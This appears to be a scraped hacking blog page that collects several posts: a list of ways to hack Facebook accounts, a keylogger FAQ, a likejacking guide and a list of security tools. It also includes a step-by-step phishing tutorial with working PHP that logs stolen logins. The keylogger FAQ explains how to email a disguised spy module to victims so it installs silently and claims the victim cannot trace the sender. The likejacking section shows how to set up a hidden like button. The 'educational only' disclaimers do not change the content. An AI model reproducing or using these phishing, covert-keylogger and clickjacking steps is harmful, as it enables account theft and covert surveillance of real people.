{PRORAT TUTORIAL} - Hack Remote PC with RAT

Here is your solution fanz to hack remote PC using RAT (REMOTE ADMIN TOOL).
I am Showing here Tutorial for ProRat.

Computer/Browser Cookies and Uses of Cookies

 

What is Cookies?

 HTTP cookie or Browser Cookie are used to store the information about the visitors. Also cookies used to store the Login informations(username ,passwords). It will be useful to track visitors wish so that display the related info or ads.

SQL Injection Tutorial: All common SQL injection problems and Solutions [FULL]

     SQL injection and solutions to them. Probably every person who has looked at tutorials to hack a website have noticed that there are too much SQL tutorials. Almost every forum has 10 tutorials and blogs 5 tutorials about SQL injection, but actually those tutorials are stolen from somewhere else and the author doesn't probably even know why does SQL injection work. All of those tutorials are like textbooks with their ABC's and the result is just a mess. Everyone are writing tutorials about SQL, but nobody covers the problems what will come with that attack.

How Hackers Send Virus,RAT,.EXE Files to Victim on Facebook,Gmail,Yahoo etc.

FIRSTLY I WILL TELL YOU WHAT IS A COMPUTER VIRUS

WHAT IS A COMPUTER VIRUS ?

A potentially damaging computer program’s, capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.

top 10 free keyloggers

10 FREE KEYLOGGERS TO MONITOR YOUR LOCAL PC OR LAPTOP!

HERE IS AN EXCLUSIVE LIST OF TOP 10 FREE LOCAL KEYLOGGERS. HOWEVER IF YOU ARE PLANNING TO MONITOR ONLY YOUR PC OR ANY PC WHICH YOU HAVE CONTROL OF, THEN YOU CAN BLINDLY GO FOR “HARDWARE KEYLOGGERS” AS THEY ARE THE SAFEST KEYLOGGERS AND OPERATE IN A COMPLETE STEALTH. IF YOU STILL WANNA PREFER FREE KEYLOGGERS THEN BELOW IS THE LIST OF FREE KEYLOGGERS THAT WILL REALLY HELP YOU MONITOR YOUR PC.

Difference Between Virus Worms Trojan and Spyware

We all have heard the terms Virus,Worms,trojans and spyware but only a few of us know the difference between them.We genreally consider everything that is detected by an antivirus as virus but this is not the case.The antivirus not only provides protection against viruses but it also protects us from trojans,worms and spywares.All these can be harmful to your computer hardware and software.Today I will differentiate all these terms from each other .Ok lets start from the introduction of viruses

How to Crack Wifi Or Wireless Password

Hello Friends, today i will explain you how to crack Wifi or wireless password in just 10 to 15 minutes. i will explain How to Hack or Crack Wifi Password. Today's hack will be based on cracking the WEP encryption password. So guys Ready for crack wifi hack and lets start hack wifi. I have also included the video at bottom of the post.

Hack wifi/WEP/WPA2 password using aircrack-ng

Now a days, We find our neighbour WiFi network but when we try to connect it say to enter password. they are put password in form of WEP or WPA/WPA2. Here is some trick to hack or Crack the wireless/WiFi password using aircrack-ng.

Top 10 Ways to Hack Facebook Accounts

Facebook is one of the most widely used social networking site with more than 750 million users, as a reason if which it has become the number 1 target of hackers have , I have written a couple of post related to facebook hacking here. I mentioned the top methods which were used by hackers to hack facebook accounts, however lots of things have changed in 2013, Lots of methods have went outdated or have been patched up by facebook and lots of new methods have been introduced, So in this post I will write the top 10 methods how hackers can hack facebook accounts.

10 Ways How Hackers Can Hack Facebook Accounts

So here are the top 10 methods which have been the most popular in Everytime :


1. Facebook Phishing

Phishing still is the most popular attack vector used for hacking facebook accounts, There are variety of methods to carry out phishing attack, In a simple phishing attacks a hacker creates a fake login page which exactly looks like the real facebook page and then asks the victim to login into that page, Once the victim logins through the fake page the victims "Email Address" and "Password" is stored in to a text file, The hacker then downloads the text file and get's his hands on the victims credentials.

• HOW TO HACK ACCOUNTS USING PHISHING

2. Keylogging 

Keylogging, according to me is the easiest way to hack a facebook password, Keylogging sometimes can be so dangerous that even a person with good knowledge of computers can fall for it. A keylogger is basically a small program which once is installed on victims computer will record every thing which victim types on his/her computer. The logs are then send back to the attacker by either FTP or directly to hackers email address.

• Hack Facebook Account With Keylogger

3. Stealers

Almost 80% percent people use stored passwords in their browser to access the facebook, This is is quite convenient but can sometimes be extremely dangerous, Stealers are software's specially designed to capture the saved passwords stored in the victims browser, Stealers once FUD can be extremely powerful.


4. Session Hijacking

Session Hijacking can be often very dangerous if you are accessing Facebook on a http:// connection, In a Session Hijacking attack a hacker steals the victims browser cookie which is used to authenticate a user on a website and uses to it to access victims account, Session hijacking is widely used on Lan's.



5. Sidejacking With Firesheep

Sidejacking attack went common in late 2010, however it's still popular now a days, Firesheep is widely used to carry out sidejacking attacks, Firesheep only works when the attacker and victim is on the same wifi network. A sidejacking attack is basically another name for http session hijacking, but it's more targeted towards wifi users.


6. Mobile Phone Hacking

Millions of Facebook users access Facebook through their mobile phones. In case the hacker can gain access to the victims mobile phone then he can probably gain access to his/her Facebook account. Their are lots of Mobile Spying softwares used to monitor a Cellphone.



7. DNS Spoofing 

If both the victim and attacker are on the same network, an attacker can use a DNS spoofing attack and change the original facebook.com page to his own fake page and hence can get access to victims facebook account.



8. USB Hacking

If an attacker has physical access to your computer, he could just insert a USB programmed with a function to automatically extract saved passwords in the browser.



9. Man In the Middle Attacks

If the victim and attacker are on the same lan and on a switch based network, A hacker can place himself b/w the client and the server or he could also act as a default gateway and hence capturing all the traffic in between, ARP Poisoning which is the other name for man in the middle attacks is a very broad topic and is beyond the scope of this article,


10. Botnets

Botnets are not commonly used for hacking facebook accounts, because of it's high setup costs, They are used to carry more advanced attacks, A botnet is basically a collection of compromised computer, The infection process is same as the keylogging, however a botnet gives you, additional options in for carrying out attacks with the compromised computer. Some of the most popular botnets include Spyeye and Zeus.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

The Difference Between a DoS and a DDoS Attack

DoS = Denial Of Service

DDoS = Distributed Denial Of Service


What is the difference between the two?

Whilst DoS and DDoS sound remarkably similar there are in fact differences between the two -

DoS

A DoS Attack is a Denial of Service attack.

This means that one computer and one internet connection is used to flood a server with packets (TCP / UDP).

The point of such a denial of service attack is to overload the targeted server’s bandwidth and other resources.

This will make the server inaccessible to others, thereby blocking the website or whatever else is hosted there.

DDoS

A DDoS Attack is a Distributed Denial of Service Attack.

In most respects it is similar to a DoS attack but the results are much, much different.

Instead of one computer and one internet connection the DDoS attack utilises many computers and many connections.

The computers behind such an attack are often distributed around the whole world and will be part of what is known as a botnet.

The main difference between a DDoS attack vs a DoS attack, therefore, is that the target server will be overload by hundreds or even thousands of requests in the case of the former as opposed to just one attacker in the case of the latter.

Therefore it is much, much harder for a server to withstand a DDoS attack as opposed to the simpler DoS incursion.

FAQ On Keyloggers - A Complete Guide

I have written a few articles on Keyloggers , Yet i get lot of comments and emails from readers asking me various doubts and clarifications, so to clear them. i have started a new section in my blog FAQ i have compiled and answered all frequently asked questions about key loggers

FAQ  On Keyloggers - A Complete Keylogger Guide

1. What is A Keylogger 
A keylogger also called as spy software  is a small program that monitors each and every keystroke a user types on a specific computer’s keyboard. A keylogger program can be installed in just a few seconds and once installed, you are only a step away from getting the target password and other sensitive data.


2. What Are The Types Of Keyloggers 
Software Keyloggers
Hardware Keyloggers

3. How Keylogger Works 
Basically once when a Keylogger is installed on a PC, it starts operating in the background it captures the keystrokes typed by the victim some advanced Keyloggers even capture screen shots and sends them to the attacker via Email , FTP etc

4.  What is The Use Of Keyloggers 
Since Keyloggers capture every keystroke and its stealth (Invisible) Its mainly used for monitoring children, Spouse , Workers . It is also used by hackers to Hack email accounts , Face book Accounts etc

5. Do I need any special knowledge to install and use the keylogger?
No, now a days Keyloggers are very user friendly, Can be used by anyone who has basic knowledge of Computers

6. Can the victim detect it's presence once key logger is installed in his/her computer?
This depends on the Keylogger which you use, usually Free Keyloggers are easily detected by Av's. To my knowledge the once which are not detected are Sniper spy, realtimeSpy , Win spy and more..

7. Can Victim Trace Back Me After i install the Keylogger in His/Her computer
No, its impossible to trace you back

8. Which is the Best Keylogger 
Today, there exists hundreds of key loggers in the market and most of them are no more than a scam. So, I have personally tested some of the top keyloggers and concluded Sniper Spy as the best one And as an alternative You can use Win spy

• top-10-free-keyloggers

9. Why Sniper Spy ?
Sniper spy eliminates the need for Physical Access Not only that it has some of most advanced features such as live Monitoring , bypass Firewalls, Record Scree shots etc. It has its own server where all the victim logs get stored thus eliminating the need of third party Email Accounts Or FTP Accounts , People who have already used key loggers will know the use of this, usually ordinary key loggers use GMail or ymail for Receiving logs lately GMail have started banning email accounts which are being used for receiving key logs

10. How Sniper Spy Works
After you purchase Sniper spy, you’ll be able to create the installation module using an easy set-up program. You need to email this module to the remote user as an attachment.When the remote user runs the module it’ll get installed silently and monitoring process will begin. The keystrokes are captured and uploaded to the Sniper Spy servers continuously.You can login to your Sniper spy account (you get this after purchase) to see the logs which contains the password.

11.  I don’t have physical access to the target computer. Can I still use Sniper Spy?
Yes you can! Sniper Spy supports remote instillation feature which allows you to remotely install the program on any PC even if you have no physical access to it. For remote installation, all you need to do is just place the module in a .zip/.rar file and send it as an attachment to the target email address (for which you need the password).

12. What if the antivirus prevents me from sending an email attachment?
Instead of sending the key logger as an email attachment, it is recommended that you place the file in .ZIP/.RAR format and upload it to www.fileden.com. After uploading, just send the direct download link to the victim via email. Once he downloads the file from this link and run it, the keylogger will get installed automatically.

13. Can I install Sniper Spy on a local computer?
If you need to install to your local computer instead of your remote computer, then the process is simple. Simply navigate to the folder in which you saved your module. Double-click the module file name to execute it. Nothing will appear on the screen but the software gets installed silently.

Hope This FAQ guide helps you to understand what is keylogger & how it work.

READ more -> Hack  Account With Keylogger

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse.

Clickjacking

What is Clickjacking?

Clickjacking is a technique used by hackers or spammers to trick or cheat the users into clicking on links or buttons that are hidden from normal view (usually links color is same as page background). Clickjacking is possible because of a security weakness in web browsers that allows web pages to be layered and hidden from general view. In this situation what happens is that You think that you are clicking on a standard button or link, like the PLAY button or download button on an video or some stuff, but you are really clicking on a hidden link. Since you can’t see the clickjacker’s hidden link, you have no idea what you’re really doing. You could be downloading malware or making all your Facebook information public without realizing it. Some good hackers make ajax keyloggers and put them as javascripts over their fake websites and when you open them they retrieve all your passwords stored in web browser and records whatever you type while the web browser is open and stores this information on their servers.

There are several types of clickjacking but the most common is to hide a LIKE button under a dummy or fake button. This technique is called Likejacking. A scammer or hacker might trick you by saying that you like a product you’ve never heard. At first glance, likejacking sounds more annoying than harmful, but that’s not always true. If you’re scammed for liking Mark Zukenberg​, the world isn’t likely to end. But you may be helping to spread spam or possibly sending Friends somewhere that contains malware.

How It Work ?

The like button is made hidden and it moves along with the mouse.So, wherever the user clicks, the like button is clicked and your fan page is liked.First download the JavaScript from the below download link.

CLICK HERE  <--

After downloading the script extract all the files.Now modify the config.js and follow the below instructions.

1. Modify config.js file in "src" folder to change fan page URL and other things.
Comments are provided beside them to help you what they do exactly.

2. There is a time out function after which the like button will not be present(move) anymore. 
"time" if set to 0 will make it stay forever(which is usually not preferred).

3. Set opacity to '0' before you run the script. Otherwise the like button will not be invisible

Properly set the var in the file if it is jumbled ?

After modifying the config.js script upload these scripts to javascript hosting website.I prefer yourjavascript you can also upload to some other website.

How To Run The Script ?

1. Add config.js just above head tag in your pages
------------------------------------------------------------------------------------------------------------
<script language="javascript" src="src/config.js"> </script>
------------------------------------------------------------------------------------------------------------

2. Add like.js after body tag in your pages
------------------------------------------------------------------------------------------------------------
<script language="javascript" src="src/like.js"> </script>
------------------------------------------------------------------------------------------------------------

Remove src link with your uploaded link.

5. That's it. The script is ready to go.

HOW TO HACK ACCOUNTS USING PHISHING

HOW TO HACK ACCOUNTS ?

Here is the tutorial for u fanz for hack account of any site using 'Phishing'.

1. First Open the website of which you want to make phisher/ fake login page   Eg : Facebook.com

2. Now do right click and save the page source.

3. Open the page in notepad, Now search for "action = " and change following address to login.php.

4. After editing save the page as "index.html"
5. Now its time to create login.php . Open notepad and copy/paste this below code and save it as login.php :

    header ('Location: http://facebook.com/login.php');
    $handle = fopen("log.txt", "a");
    foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>

6. Now create a simple and empty text file in notepad and save it as log.txt
7. Now create your own free web hosting account at my3gb.com and upload all the three files.(You can use any FREE web hosting site)
8. Upload Index.html , login.php , log.txt we created in above steps...
9. We are done, our phisher / fake login page is ready.

How to Hack Accounts ?

Send the index.html (the uploaded  my3gb.com ) link to the victim , once he/she will enter the information and do login with our fake login page then every thing will be stored in log.txt, we can now open log.txt to see all the Login details
Its very simple to create phisher of any website in the world, Here i have taken the example of Facebook Phisher . But in this same you can also create the phisher of many websites like yahoo, gmail, orkut, msn, paypal etc.


/*Note : This tutorial is for study purpose only. I want to make you aware how phishing is done . Please don't misuse this Knowledge. Don't "Hack Accounts" , its illegal. I am not responsible for any hack done by you..*/

15-Most Usefull Hacking Tools

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do.

1. NMAP

Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

DOWNLOAD IT FROM HERE      


2. WIRESHARK

Wireshark is a network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network.

DOWNLOAD IT FROM HERE        


3. METASPLOIT COMMUNITY EDITION

Metasploit Community Edition simplifies network discovery and vulnerability verification for specific exploits, increasing the effectiveness of vulnerability scanners. This helps prioritize remediation and eliminate false positives, providing true security risk intelligence.

DOWNLOAD IT FROM HERE      


4. NIKTO2

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.

DOWNLOAD IT FROM HERE                


5. JOHN THE RIPPER

John the Ripper is a fast password cracker, currently available for many flavors of Unix, Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix systems, supported out of the box are Windows LM hashes, plus lots of other hashes and ciphers in the community-enhanced version.

DOWNLOAD IT FROM HERE


6. ETTERCAP

Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.

DOWNLOAD IT FROM HERE


7. NEXPOSE COMMUNITY EDITION

The Nexpose Community Edition is a free, single-user vulnerability management solution. Nexpose Community Edition is powered by the same scan engine as Nexpose Enterprise and offers many of the same features.

DOWNLOAD IT FROM HERE


8. NCAT

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.

DOWNLOAD IT FROM HERE


9. KISMET

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Kismet also supports plugins which allow sniffing other media such as DECT.

DOWNLOAD IT FROM HERE


10. W3AF    

w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.

DOWNLOAD IT FROM HERE


11. HPING

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping(8) unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

DOWNLOAD IT FROM HERE


12. BURPSUITE            

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.

DOWNLOAD IT FROM HERE


13. THC-HYDRA      

A very fast network logon cracker which support many different services.

DOWNLOAD IT FROM HERE


14. SQLMAP      

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

DOWNLOAD IT FROM HERE


15. WEBSCARAB

WebScarab has a large amount of functionality, and as such can be quite intimidating to the new user. But, for the simplest case, intercepting and modifying requests and responses between a browser and HTTP/S server, there is not a lot that needs to be learned.

DOWNLOAD IT FROM HERE